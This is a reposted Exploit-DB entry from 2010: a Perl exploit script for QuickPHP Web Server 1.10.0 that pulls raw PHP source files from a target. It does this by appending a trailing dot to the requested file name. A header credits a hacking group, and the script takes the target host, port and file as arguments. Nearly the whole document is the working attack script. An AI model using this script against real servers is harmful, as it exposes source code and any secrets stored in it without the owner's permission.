QuickPHP Web Server – Arbitrary ‘.php’ File Download - 体验盒子

作者： Yakir Wizman

日期： 2010-12-30

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/15868/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

# _ ___________

#(_)____ _ __/ __ \/ /_________/ /_/_/ |

# / // __ \ | / / / / / //_/ _ \/ __// / / /

#/ // / / / |/ / /_/ / ,< /__/ /_/ // / / /

# /_//_/ /_/|___/\____/_/|_|\___/\__,_// /_/_/

# Live by the byte |_/_/

#

# Members:

#

# Pr0T3cT10n

# -=M.o.B.=-

# TheLeader

# Sro

# Debug

#

# Contact: inv0ked.israel@gmail.com

#

# -----------------------------------

# QuickPHP Web Server is vulnerable for a Remote File Download attcak, the following code will exploit the bug.

# The vulnerability allows an unprivileged attacker to download files whom he has no permissions to.

# -----------------------------------

# Vulnerability Title: QuickPHP Web Server 1.10.0 Remote File Download Exploit

# Date: 30/12/2010

# Author: Pr0T3cT10n

# Software Link: http://www.zachsaw.co.cc/downloads/quickphp_webserver.zip

# Affected Version: 1.10.0

# Tested on Windows XP Hebrew, Service Pack 3

# ISRAEL, NULLBYTE.ORG.IL

###

#!/usr/bin/perl

use LWP::Simple;

if (@ARGV < 3) {

print("\r\n");

print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");

print("Discovered & Exploited by Pr0T3cT10n\r\n");

print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n");

print("Usage: " .$0. " <host> <port> <file>\r\n");

print("HOST - An host using QuickPHP Web Server\r\n");

print("PORT - Port number\r\n");

print("FILE - The file you want to get\r\n");

print("Example: " .$0. " hostingserver.com 80 index.php\r\n\r\n");

exit(1);

} else {

print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");

print("Discovered & Exploited by Pr0T3cT10n\r\n");

print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\n");

($host, $port, $file) = @ARGV;

$content = get("http://" .$host. ":" .$port. "/" .$file. ".");

print("File Content:\r\n\r\n");

print($content. "\r\n");

}